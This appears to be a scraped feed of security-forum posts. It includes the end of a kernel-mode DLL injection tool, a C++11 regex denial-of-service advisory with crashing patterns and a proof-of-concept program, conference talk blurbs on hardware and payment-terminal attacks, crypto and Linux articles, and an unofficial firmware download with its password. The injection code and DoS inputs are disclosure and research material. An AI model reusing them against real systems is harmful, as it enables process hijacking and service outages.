InjectInfo.ProcessId=(HANDLE)wcstoul(argv[1],NULL,0); wcscpy(InjectInfo.DllName,argv[2]); if(!WriteFile(hFile,&InjectInfo,sizeof(INJECT_INFO),&write,NULL)) { printf("\nError: Unable to write data to the driver (%d)\n",GetLastError()); CloseHandle(hFile); return -1; } CloseHandle(hFile); return 0; } [h=4]Attached Files[/h] KeInject.zip 447.64KB 438 downloads Sursa: Inject DLL from kernel mode - Source Codes - rohitab.com - Forums

C++11 Resource Exhaustion Authored by Maksymilian Arciemowicz | Site cxsecurity.com GCC and CLANG C++11 regex functionality suffers from resource exhaustion issues. C++11 <regex> insecure by default http://cxsecurity.com/issue/WLB-2014070187 --- 0 Description --- In this article I will present a conclusion of testing the new 'objective regex' in several implementation of standard c++ library like libcxx (clang) and stdlibc++ (gcc). The results show the weakness in official supported implementations. Huge complexity and memory exhaustion were well known in most of libc libraries. Theoretical the new c++11 <regex> eliminate resource exhaustion by specifying special limits preventing for evil patterns. In glibc there was the conviction that for the safety of use regcomp() respond vendor using regex implementation. However, it is difficult to do the parser of regular expression in clients applications and others remote affected. The exceptions support for regex errors looks very promising. Let's see some part of documentation std::regex_error -std::regex_constants::error_type----------------------- error_space there was not enough memory to convert the expression into a finite state machine error_complexity the complexity of an attempted match exceeded a predefined level error_stack there was not enough memory to perform a match -std::regex_constants::error_type----------------------- error_complexity looks promising but which the value of level complexity is the best'? There is many interpretations between usability and security. In security aspect this level should be low for to keep real time execution. In contrast to the static code analysis where execution time is not so important. The other constants like error_space and error_stack are also interesting in security view. After official release for stdlibc++ <regex> in GCC 4.9.0 I have decided check this implementation. To prove that these limits do not fulfill their role, I reported below issues GCC: libstdc++ C++11 regex resource exhaustion https://gcc.gnu.org/bugzilla/show_bug.cgi?id=61601 libstdc++ C++11 regex memory corruption https://gcc.gnu.org/bugzilla/show_bug.cgi?id=61582 CLANG: libcxx C++11 regex cpu resource exhaustion http://llvm.org/bugs/show_bug.cgi?id=20291 In my observation libc++ wins in performance. Only problem with error complexity reported. In ticket #20291 we are searching answer for default pre-set level value. However for each use can be personal. GCC has fixed most dangerous issues before releasing official version 4.9.0 where <regex> is supported. Anyway stack overflow still occurs in last regex implementation. --- 0.1 GCC before 4.9 Memory corruption --- # ./c11RE '(|' Segmentation fault (core dumped) --- 0.2 GCC 4.9 Memory corruption --- (gdb) r '((.*)()?*{100})' Starting program: /home/cx/REstd11/kozak5/./c11re '((.*)()?*{100})' Program received signal SIGSEGV, Segmentation fault. 0x0000000000402f15 in std::_Bit_reference::operator bool() const --- 0.3 GCC Trunk Stack Overflow --- Starting program: /home/cx/REtrunk/kozak5/t3 '(.*{100}{300})' Program received signal SIGSEGV, Segmentation fault. 0x000000000040c22a in std::__detail::_Executor<char const*, std::allocator<std::sub_match<char const*> >, std::regex_traits<char>, true>::_M_dfs(std::__detail::_Executor<char const*, std::allocator<std::sub_match<char const*> >, std::regex_traits<char>, true>::_Match_mode, long) () --- 0.4 CLANG CPU Exhaustion PoC --- #include <iostream> #include <regex> #include <string> using namespace std; int main() { try { regex r("(.*(.*){999999999999999999999999999999999})", regex_constants::extended); smatch results; string test_str = "|||||||||||||||||||||||||||||||||||||||||||||||||||||||"; if (regex_search(test_str, results, r)) cout << results.str() << endl; else cout << "no match"; } catch (regex_error &e) { cout << "extended: what: " << e.what() << "; code: " << e.code() << endl; } return 0; } --- CLANG CPU Exhaustion --- --- 1 Conclusion --- I think It's dangerous situation what may have a bearing on the quality similar to the glibc <regex.h>. Maybe only a new type of extended regular expressions provide safety? It's good moment to start discussion about of safety regex in new c++. --- 2 References --- libstdc++ C++11 regex resource exhaustion https://gcc.gnu.org/bugzilla/show_bug.cgi?id=61601 libstdc++ C++11 regex memory corruption https://gcc.gnu.org/bugzilla/show_bug.cgi?id=61582 libcxx C++11 regex cpu resource exhaustion http://llvm.org/bugs/show_bug.cgi?id=20291 GCC 4.9 Release Series New Features https://gcc.gnu.org/gcc-4.9/changes.html --- 3 Thanks --- gcc and clang support and KacperR --- 4 About --- Author: Maksymilian Arciemowicz Contact: http://cxsecurity.com/wlb/add/ Sursa: C++11 Resource Exhaustion ? Packet Storm

25c3 - An Introduction To New Stream Cipher Designs Description: An introduction to new stream cipher designs Turning data into line noise and back Even with "nothing to hide", we want to protect the privacy of our bits and bytes. Encryption is an important tool for this, and stream ciphers are a major class of symmetric-key encryption schemes. Algorithms such as RC4 (used in WEP/WPA, bittorrent, SSL), A5/1 (GSM telephony), E0 (bluetooth), as well as AES in counter (CTR) mode, are important examples of stream ciphers used in everyday applications. Whereas a block cipher such as AES works by encrypting fixed-length data blocks (and chaining these together in a suitable mode of operation), stream ciphers output an unique and arbitrary-length keystream of pseudorandom bits or bytes, which is simply XORed with the plaintext stream to produce the ciphertext. Advantages of stream ciphers often include smaller hardware footprint and higher encryption speeds than comparable block ciphers such as AES. However, cryptanalysis has led to attacks on many of the existing algorithms. The ECRYPT Stream Cipher Project (eSTREAM) has been a 4-year project funded by the EU to evaluate new and promising stream ciphers. The project ended in April 2008, with a final portfolio which currently consists of 7 ciphers: 3 suitable for hardware implementation, and 4 aimed at software environments. The portfolio ciphers are considered to provide an advantage over plain AES in at least one significant aspect, but the designs are very different and often suited for different applications. Since the eSTREAM ciphers are quite new, many of them are not well known outside the academic community. The goal of this talk is to give a very quick presentation of each of the 7 portfolio ciphers: Grain v1, MICKEY v2, Trivium, HC-128, Rabbit, Salsa20/12 and SOSEMANUK. For More Information please visit : - 25C3: speakers Sursa: 25c3 - An Introduction To New Stream Cipher Designs

25c3 - Full Disk Encryption Crash Course Description: Full-Disk-Encryption Crash-Course Everything to hide This is not a hacking presentation, no vulnerabilities are presented. It's a crash-course in full-disk-encryption ("FDE") concepts, products and implementation aspects. An overview of both commercial and open-source offerings for Windows, Linux, and MacOSX is given. A (programmer's) look at the open-source solutions concludes the presentation. Full-Disk-Encryption is an important aspect of data security and everyone should use an appropriate solution to protect their (especially mobile) systems and data. This lecture covers the technology behind Full-Disk-Encryption software products. The established technical architectures of software solutions for Microsoft Windows and Linux are presented in this lecture: Pre-Boot-Authentication, encryption driver and in-place filesystem encryption. An overview of commercial products and open-source offerings for Windows, Linux and OSX is given. Distinguishing features of specific products and additional topics are covered, including: TPM support (OS binding and key storage), multi-disk support and threats. The last segment of the lecture focuses on open-source solutions: TrueCrypt's volume specifications, TrueCrypt's hidden volume capabilities and a comparison of in-place filesystem encryption implementations of TrueCrypt and DiskCryptor. A feature wish-list for open-source Full-Disk-Encryption solutions completes the lecture. For More Information please visit : - 25C3: speakers Sursa: 25c3 - Full Disk Encryption Crash Course

25c3 - Chip Reverse Engineering Description: Chip Reverse Engineering Cryptographic algorithms are often kept secret in the false belief that this provides security. To find and analyze these algorithms, we reverse-engineering the silicon chips that implement them. With simple tools, we open the chips, take pictures, and analyze their internal structures. The talk provides all the details you need to start reversing chips yourself. Happy hacking! For More Information please visit : - 25C3: speakers Sursa: 25c3 - Chip Reverse Engineering

25c3 - Security Failures In Smart Card Payment Systems Description: Security Failures in Smart Card Payment Systems Tampering the Tamper-Proof PIN entry devices (PED) are used in the Chip & PIN (EMV) system to process customers' card details and PINs in stores world-wide. Because of the highly sensitive information they handle, PEDs are subject to an extensive security evaluation procedure. We have demonstrated that the tamper protection of two popular PEDs can be easily circumvented with a paperclip, some basic technical skills, and off-the-shelf electronics. PIN entry devices (PEDs) are critical security components in Chip & PIN (EMV) smartcard payment systems as they receive a customer's card and PIN. Their approval is subject to an extensive suite of evaluation and certification procedures. We have demonstrated that the tamper proofing of PEDs is unsatisfactory, as is the certification process. This talk will discuss practical low-cost attacks on two certified, widely-deployed PEDs – the Ingenico i3300 and the Dione Xtreme. By tapping inadequately protected smartcard communications, an attacker with basic technical skills can expose card details and PINs, leaving cardholders open to fraud. The talk will describe the anti-tampering mechanisms of the two PEDs and show that, while the specific protection measures mostly work as intended, critical vulnerabilities arise because of the poor integration of cryptographic, physical and procedural protection. These failures are important not only because they allow fraud to be committed, but also because of their affect on customer liability. As Chip & PIN was claimed to be foolproof, victims of fraud often find themselves accused of being negligent, or even complicit in the crime. The results of this work will help customers in this position argue that their losses should be refunded. For More Information please visit : - 25C3: speakers Sursa: 25c3 - Security Failures In Smart Card Payment Systems

25c3 - Hacking The Iphone Description: Speakers: MuscleNerd, pytey, planetbeing Apple's iPhone has made a tremendous impact on the smartphone market and the public consciousness, but it has also highlighted their desire to carefully control the device with draconian restrictions. These restrictions prevent users from choosing to run third-party applications unauthorized by Apple and using the devices on carriers not approved by Apple. Since its release, a tremendous amount of effort has been made to remove these restrictions for the benefit of the community. A year later, we have now learned much about its inner workings and have methods to circumvent these restrictions. This talk will summarize what we have learned about the internal architecture of the iPhone platform, its security, and the ways we have found to defeat these security measures. More information about the 25th Chaos Communication Congress can be found via the Chaos Communication For More Information please visit : - 25C3: speakers Sursa: 25c3 - Hacking The Iphone

25c3 - Tricks Makes You Smile Description: Tricks: makes you smile A clever or ingenious device or expedient; adroit technique: the tricks of the trade. A collection of engaging techniques, some unreleased and some perhaps forgotten, to make pentesting fun again. From layer 3 attacks that still work, to user interaction based exploits that aren't 'clickjacking', to local root privilege escalation without exploits and uncommon web application exploitation techniques. For More Information please visit : - 25C3: speakers

25c3 - Anatomy Of Smartphone Hardware Description: Do you know the architecture of contemporary mobile phone hardware? This presentation will explain about the individual major building blocks and overall architecture of contemporary GSM and UMTS smartphones. We will start from a general block diagram level and then look at actual chipsets used in mobile devices, ranging from SoC to RAM and flash memory technologies, Bluetooth, Mobile WiFi chipsets, busses/protocols as well as the GSM baseband side. The main focus will be about the OpenMoko Freerunner (GTA02) hardware, since the schematics are open and can be used for reference during the lecture. However, we will also look into tighter integrated components of various vendors like Qualcomms MSM7xxx, Samsung S3C64xx, TI OMAP35xx and others. For More Information please visit : - 25C3: speakers Sursa: 25c3 - Anatomy Of Smartphone Hardware

25c3 - Analyzing Rfid Security Description: Analyzing RFID Security Many RFID tags have weaknesses, but the security level of different tags varies widely. Using the Mifare Classic cards as an example, we illustrate the complexity of RFID systems and discuss different attack vectors. To empower further analysis of RFID cards, we release an open-source, software-controlled, and extensible RFID reader with support for most common standards. RFID tags and contact-less smart cards are regularly criticized for their lack of security. While many RFID tags have weaknesses, the security level of different tags varies widely. Using the Mifare Classic cards as an example, we illustrate the complexity of RFID systems and discuss different attack vectors. To empower further analysis of RFID cards, we release an open-source, software-controlled, and extensible RFID reader with support for most common standards. For More Information please visit : - 25C3: speakers Sursa: 25c3 - Analyzing Rfid Security

Timing-safe memcmp and API parity Nate Lawson @ 4:03 am OpenBSD released a new API with a timing-safe bcmp and memcmp. I strongly agree with their strategy of encouraging developers to adopt “safe” APIs, even at a slight performance loss. The strlcpy/strlcat family of functions they pioneered have been immensely helpful against overflows. Data-independent timing routines are extremely hard to get right, and the farther you are from the hardware, the harder it is to avoid unintended leakage. Your best bet if working in an embedded environment, is to use assembly and thoroughly test on the target CPU under multiple scenarios (interrupts, power management throttling clocks, etc.) Moving up to C creates a lot of pitfalls, especially if you support multiple compilers and versions. Now you are subject to micro-architectural variance, such as cache, branch prediction, bus contention, etc. And compilers have a lot of leeway with optimizing away code with strictly-intended behavior. While I think the timing-safe bcmp (straightforward comparison for equality) is useful, I’m more concerned with the new memcmp variant. It is more complicated and subject to compiler and CPU quirks (because of the additional ordering requirements), may confuse developers who really want bcmp, and could encourage unsafe designs. If you ask a C developer to implement bytewise comparison, they’ll almost always choose memcmp(). (The “b” series of functions is more local to BSD and not Windows or POSIX platforms.) This means that developers using timingsafe_memcmp() will be incorporating unnecessary features simply by picking the familiar name. If compiler or CPU variation compromised this routine, this would introduce a vulnerability. John-Mark pointed out to me a few ways the current implementation could possibly fail due to compiler optimizations. While the bcmp routine is simpler (XOR accumulate loop), it too could possibly be invalidated by optimization such as vectorization. The most important concern is if this will encourage unsafe designs. I can’t come up with a crypto design that requires ordering of secret data that isn’t also a terrible idea. Sorting your AES keys? Why? Don’t do that. Database index lookups that reveal secret contents? Making array comparison constant-time fixes nothing when the index involves large blocks of RAM/disk read timing leaks. In any scenario that involves the need for ordering of secret data, much larger architectural issues need to be addressed than a comparison function. Simple timing-independent comparison is an important primitive, but it should be used only when other measures are not available. If you’re concerned about HMAC timing leaks, you could instead hash or double-HMAC the data and compare the results with a variable-timing comparison routine. This takes a tiny bit longer but ensures any leaks are useless to an attacker. Such algorithmic changes are much safer than trying to set compiler and CPU behavior in concrete. The justification I’ve heard from Ted Unangst is “API parity“. His argument is that developers will not use the timing-safe routines if they don’t conform to the ordering behavior of memcmp. I don’t get this argument. Developers are more likely to be annoyed with the sudden performance loss of switching to timing-safe routines, especially for comparing large blocks of data. And, there’s more behavior that should intentionally be broken in a “secure memory compare” routine, such as two zero-length arrays returning success instead of an error. Perhaps OpenBSD will reconsider offering this routine purely for the sake of API parity. There are too many drawbacks. Sursa: Timing-safe memcmp and API parity | root labs rdist

E dovedit: dispozitivele USB pot con?ine viru?i greu de detectat, cu acces nelimitat la datele utilizatorilor Aurelian Mihai - 1 aug 2014 Demonstrat? de un grup de exper?i în securitate, o bre?? de securitate prezent? în protocolul de comunica?ie folosit pentru conectarea dispozitivelor USB poate fi exploatat? cu consecin?e extrem de grave, compromi?ând orice computer cu port USB. Mai mult, dispozitivele USB infectate sunt greu de descoperit, utilizatorii de rând neputând afla dac? stick-ul USB flash sau tastatura proasp?t achizi?ionat? con?ine sau nu un virus periculos. Potrivit exper?ilor Karsten Nohl ?i Jakob Lell, protocolul Universal Serial Bus folosit ca standard pentru conectarea dispozitivelor externe la portul USB con?ine o bre?? de securitate ce poate fi exploatat? pentru a ob?ine control nelimitat asupra PC-urilor. Pentru a expune problema descoperit? cei doi au decompilat por?iunea de firmware responsabil cu gestionarea func?iilor de baz? ale protocolului USB, la care au ad?ugat o mostr? de malware creat cu scop demonstrativ. Odat? strecurat? pe dispozitivul USB, componenta malware prezent? la nivel de firmware este activat? prin simpla conectare a dispozitivului la portul USB, ob?inând acces la fi?ierele stocate în memorie sau intercepta conexiunea la internet a utilizatorului. zoom inE dovedit: dispozitivele USB pot con?ine viru?i imposibil de înl?turat, cu acces nelimitat la datele utilizatorilor Având în vedere c? acest exploit vizeaz? însu?i protocolul care guverneaz? func?ionarea dispozitivelor USB, practic orice dispozitiv poate fi compromis - stick-uri USB flash, mouse ?i tastaturi USB, smartphone ?i tablete cu port USB. Totu?i, componenta malware nu este executat? direct pe dispozitiv, ci mai degrab? transferat? în memoria PC-ului conectat, unde poate fi detectat? ?i înl?turat? folosind programe antivirus. Din p?cate dispozitivul infectat nu poate fi cur??at prin simpla ?tergere sau formatare a spa?iului de stocare. În lipsa unui patch care s? instaleze un firmware necompromis, dispozitivul USB va continua s? infecteze orice PC la care este conectat. Momentan este aproape imposibil pentru utilizatorii obi?nui?i s? verifice dac? firmware-ul unui dispozitiv este sau nu compromis. În plus, este teoretic posibil ca infectarea s? se produc? ?i în sens invers, de la un PC infectat la un dispozitiv USB, propagând mai departe malware-ul respectiv la orice PC este conectat dispozitivul proasp?t compromis. Aparent, exploit-ul despre care se zvone?te c? ar fi folosit deja de autorit??ile americane pentru înlesnirea activit??ilor de spionaj nu are în prezent nici un remediu. Singurele m?suri care pot fi luate de utilizatori este s? evite folosirea dispozitivelor USB cu provenien?? incert? ?i s? previn? propagarea infect?rilor evitând conectarea dispozitivelor USB la PC-uri deja compromise. Sursa: E dovedit: dispozitivele USB pot con?ine viru?i greu de detectat, cu acces nelimitat la datele utilizatorilor

Nu. Imaginea e ca sa poata vedea toata lumea ce aplicatii are si ce fac. Cei care se plictisesc pot decompila APK-urile si se pot uita prin sursa lor sa vada ce fac.

[h=1] Secure by Design[/h] [h=2]A 21st-century smartphone[/h] Blackphone combines a custom operating system with leading applications optimized for security. The result: an unparalleled product ideal for people who recognize a need for privacy and want a simple, secure place to start. [h=1]Meet PrivatOS[/h] [h=2]Blackphone’s security-enhanced Android™ build[/h] Blackphone’s combination of a custom operating system with hand picked application tools optimizes for security. The result: an unparalleled product ideal for information workers, executives, public figures, and anyone else unwilling to give up their privacy. View Features Info: https://www.blackphone.ch/ Download: https://rstforums.com/fisiere/blackphone-4.4.2.zip (243 MB)

Parola: 5ZTzuOIjaq

E posibil sa fie o "bula" de aer. Dar daca display-ul merge ok, nu vad care e problema. Daca l-ai cumparat deja, il poti incalzi putin cu un feon, apoi sa tii apasat si sa speri sa dispara. Si, de preferat, sa aplici presiune dispre interior spre margine, ca in cazul in care e aer acolo, sa poata iesi.

Poza e facuta cu 3310? Nu se vede. Da folia jos mai intai. Apoi baga USOR ceva acolo si vezi daca se misca.

51 Useful Lesser Known Commands for Linux Users By Avishek Kumar Under: Linux Commands On: December 24, 2013 Download Your Free eBooks NOW - 10 Free Linux eBooks for Administrators Linux command line is attractive and fascinating, and there exists a flock of Linux user who are addictive to command Line. Linux command line can be funny and amusing, if you don’t believe me, you can check one of our article below. 20 Funny Commands of Linux or Linux is Fun in Terminal 51 Lesser Known Commands for Linux As well as extremely powerful, at the same time. We brought to you, five articles on “Lesser Known Linux Commands” consisting of 50+ lesser known Linux command. This article aims at concatenating all those five articles as one, and lets you know, what is where, in brief. 11 Lesser Known Commands – Part I This article was highly appreciated by our readers, which contains simple yet very important commands. The article summaries as. 1. sudo!! : Forgot to run a command with sudo? You need not re-write the whole command, just type “sudo!!” and the last command will run with sudo. 2. Python -m SimpleHTTPServer : Creates a simple web page for the current working directory over port 8000. 3. mtr : A command which is a combination of ‘ping’ and ‘traceroute’ command. 4. Ctrl+x+e : This key combination fires up, an editor in the terminal, instantaneously. 5. nl : Outputs the content of text file with lines Numbered. 6. shuf : Randomly selects line/file/folder from a file/folder. 7. ss : Outputs Socket Statistics. 8. Last: Want to know history of last logged in users? This command comes to rescue here. 9. curl ifconfig.me : Shows machine’s external IP Address. 10. tree : Prints files and folders in tree like fashion, recursively. 11. Pstree : Prints running processes with child processes, recursively. 11 Lesser Known Useful Linux Commands – Part I The great response, received on this article, and requests to provide another list of ‘Lesser Known Linux Commands‘, from our readers, we wrote next article of the series is: 10 Lesser Known Commands – Part II This article again was warm welcomed. The summary of the article, below is enough to describe this. 12. <space> command : A space before a bash command, is not recorded in history. 13. stat : Shows the status information of a file as well as of a file system. 14. <alt>. And <esc>. : A tweak which put the last command argument at prompt, in the order of last entered command, appearing first. 15. Pv : outputs simulating text, similar to hollywood movies. 16. Mount | column -t : Lists mounted file system, in nice formatting with specification. 17. Ctrl + l: clear shell prompt, instantaneously. 18. curl -u gmail_id –silent “https://mail.google.com/mail/feed/atom” | perl -ne ‘print “\t” if //; print “$2\n” if /(.*)/;’. This simple scripts, opens up, unread mail of an user, in the terminal itself. 19. screen : Detach and Reattach, long running process from a session. 20. file : Outputs information, regarding types of file. 21. id : Print User and Group Id. 10 Lesser Known Linux Commands – Part 2 Getting over 600 Likes on different social Networking sites and many thankful comments, we were ready with our third article of the series is: 10 Lesser Known Commands – Part 3 This article summaries as below: 22. ^foo^bar : Run last command with modification, without the need of rewriting the whole command again. 23. > file.txt : Flush the content of a text file, in a single go, from the command prompt. 24. at : Run a particular command, time based. 25. du -h –max-depth=1 Command : Outputs the size of all the files and folders within current folder, in human readable format. 26. expr : Solve simple mathematical calculations from the terminal. 27. look: Check for an English word, from the dictionary, in case of confusion, right from the shell. 28. yes : continues to print a sting, till interrupt instruction is given. 29. factor: Gives all the possible factors of a decimal number. 30. ping -i 60 -a IP_address : Pings the provided IP_address, and gives audible sound when host comes alive. 31. tac : Prints content of a file, in reverse order. 10 Lesser Known Commands for Linux – Part 3 Our Hard-work was paid by the response we received and fourth article of the series was: 10 Lesser Known Linux Commands – Part IV Need not say, again this article was appreciated. The article summarises below: 32. strace : A debugging tool. 33. disown -a && exit Command : Run a command in background, even after terminal session is closed. 34. getconf LONG_BIT Command : Output Machine Architecture, very clearly. 35. while sleep 1;do tput sc;tput cup 0 $(($(tput cols)-29));date;tput rc;done & : The script outputs date and time on the top right corner of shell/ terminal. 36. convert : converts the output of a command in picture, automatically. 37. watch -t -n1 “date +%T|figlet” : Show animated digital clock at the prompt. 38. host and dig : DNS lookup utility. 39. dstat : Generates statistics regarding system resource. 40. bind -p : Shows all the shortcuts available in Bash. 41. Touch /forcefsck : Force file-system check on next boot. 10 Lesser Known Effective Linux Commands – Part IV 10 Lesser Known Linux Commands- Part V The commands from here was getting biased towards scripts, yes single line powerful shell scripts and we thought to provide at least one more article on this series. 42. lsb_release : Prints distribution specification information. 43. nc -ZV localhost port_number : Check if a specific port is open or not. 44. curl ipinfo.io : Outputs Geographical Information, regarding an ip_address. 45. find .-user xyz : Lists all file owned by user ‘xyz’ 46. apt-get build-dep package_name: Build all the dependency, automatically while installing any specific package. 47. lsof -iTCP:80 -sTCP:LISTEN. The script, outputs all the service/process using port 80. 48. find -size +100M : This command combination, Lists all the files/folders the size of which is 100M or more. 49. pdftk : A nice way to concatenate a lot of pdf files, into one. 50. ps -LF -u user_name : Outputs Processes and Threads of a user. 51. Startx — :1 (This command creates another new X session). 10 Lesser Known Useful Linux Commands- Part V That’s all for now. Don’t forget to give us your valuable feedback in our comment section. This is not an end of lesser known Linux commands, and we will keep them bringing to you, from time to time, in our articles. I’ll be coming with another article, very interesting and useful for our readers. Till then stay tuned and connected to Tecmint.com. Sursa: 51 Useful Lesser Known Commands for Linux Users

Adventures in live booting Linux distributions July 29, 2014 By Major Hayden We’re all familiar with live booting Linux distributions. Almost every Linux distribution under the sun has a method for making live CD’s, writing live USB sticks, or booting live images over the network. The primary use case for some distributions is on a live medium (like KNOPPIX). However, I embarked on an adventure to look at live booting Linux for a different use case. Sure, many live environments are used for demonstrations or installations — temporary activities for a desktop or a laptop. My goal was to find a way to boot a large fleet of servers with live images. These would need to be long-running, stable, feature-rich, and highly configurable live environments. Finding off the shelf solutions wasn’t easy. Finding cross-platform off the shelf solutions for live booting servers was even harder. I worked on a solution with a coworker to create a cross-platform live image builder that we hope to open source soon. (I’d do it sooner but the code is horrific.) Debian jessie (testing) First off, we took a look at Debian’s Live Systems project. It consists of two main parts: something to build live environments, and something to help live environments boot well off the network. At the time of this writing, the live build process leaves a lot to be desired. There’s a peculiar tree of directories that are required to get started and the documentation isn’t terribly straightforward. Although there’s a bunch of documentation available, it’s difficult to follow and it seems to skip some critical details. (In all fairness, I’m an experienced Debian user but I haven’t gotten into the innards of Debian package/system development yet. My shortcomings there could be the cause of my problems.) The second half of the Live Systems project consist of multiple packages that help with the initial boot and configuration of a live instance. These tools work extremely well. Version 4 (currently in alpha) has tools for doing all kinds of system preparation very early in the boot process and it’s compatible with SysVinit or systemd. The live images boot up with a simple SquashFS (mounted read only) and they use AUFS to add on a writeable filesystem that stays in RAM. Reads and writes to the RAM-backed filesystem are extremely quick and you don’t run into a brick wall when the filesystem fills up (more on that later with Fedora). Ubuntu 14.04 Ubuntu uses casper which seems to precede Debian’s Live Systems project or it could be a fork (please correct me if I’m incorrect). Either way, it seemed a bit less mature than Debian’s project and left a lot to be desired. Fedora and CentOS Fedora 20 and CentOS 7 are very close in software versions and they use the same mechanisms to boot live images. They use dracut to create the initramfs and there are a set of dmsquash modules that handle the setup of the live image. The livenet module allows the live images to be pulled over the network during the early part of the boot process. Building the live images is a little tricky. You’ll find good documentation and tools for standard live bootable CD’s and USB sticks, but booting a server isn’t as straightforward. Dracut expects to find a squashfs which contains a filesystem image. When the live image boots, that filesystem image is connected to a loopback device and mounted read-only. A snapshot is made via device mapper that gives you a small overlay for adding data to the live image. This overlay comes with some caveats. Keeping tabs on how quickly the overlay is filling up can be tricky. Using tools like df is insufficient since device mapper snapshots are concerned with blocks. As you write 4k blocks in the overlay, you’ll begin to fill the snapshot, just as you would with an LVM snapshot. When the snapshot fills up and there are no blocks left, the filesystem in RAM becomes corrupt and unusable. There are some tricks to force it back online but I didn’t have much luck when I tried to recover. The only solution I could find was to hard reboot. Arch The ArchLinux live boot environments seem very similar to the ones I saw in Fedora and CentOS. All of them use dracut and systemd, so this makes sense. Arch once used a project called Larch to create live environments but it’s fallen out of support due to AUFS2 being removed (according to the wiki page). Although I didn’t build a live environment with Arch, I booted one of their live ISO’s and found their live environment to be much like Fedora and CentOS. There was a device mapper snapshot available as an overlay and once it’s full, you’re in trouble. OpenSUSE The path to live booting an OpenSUSE image seems quite different. The live squashfs is mounted read only onto /read-only. An ext3 filesystem is created in RAM and is mounted on /read-write. From there, overlayfs is used to lay the writeable filesystem on top of the read-only squashfs. You can still fill up the overlay filesystem and cause some temporary problems, but you can back out those errant files and still have a useable live environment. Here’s the problem: overlayfs was given the green light for consideration in the Linux kernel by Linus in 2013. It’s been proposed for several kernel releases and it didn’t make it into 3.16 (which will be released soon). OpenSUSE has wedged overlayfs into their kernel tree just as Debian and Ubuntu have wedged AUFS into theirs. Wrap-up Building highly customized live images isn’t easy and running them in production makes it more challenging. Once the upstream kernel has a stable, solid, stackable filesystem, it should be much easier to operate a live environment for extended periods. There has been a parade of stackable filesystems over the years (remember funion-fs?) but I’ve been told that overlayfs seems to be a solid contender. I’ll keep an eye out for those kernel patches to land upstream but I’m not going to hold my breath quite yet. Sursa: Adventures in live booting Linux distributions | major.io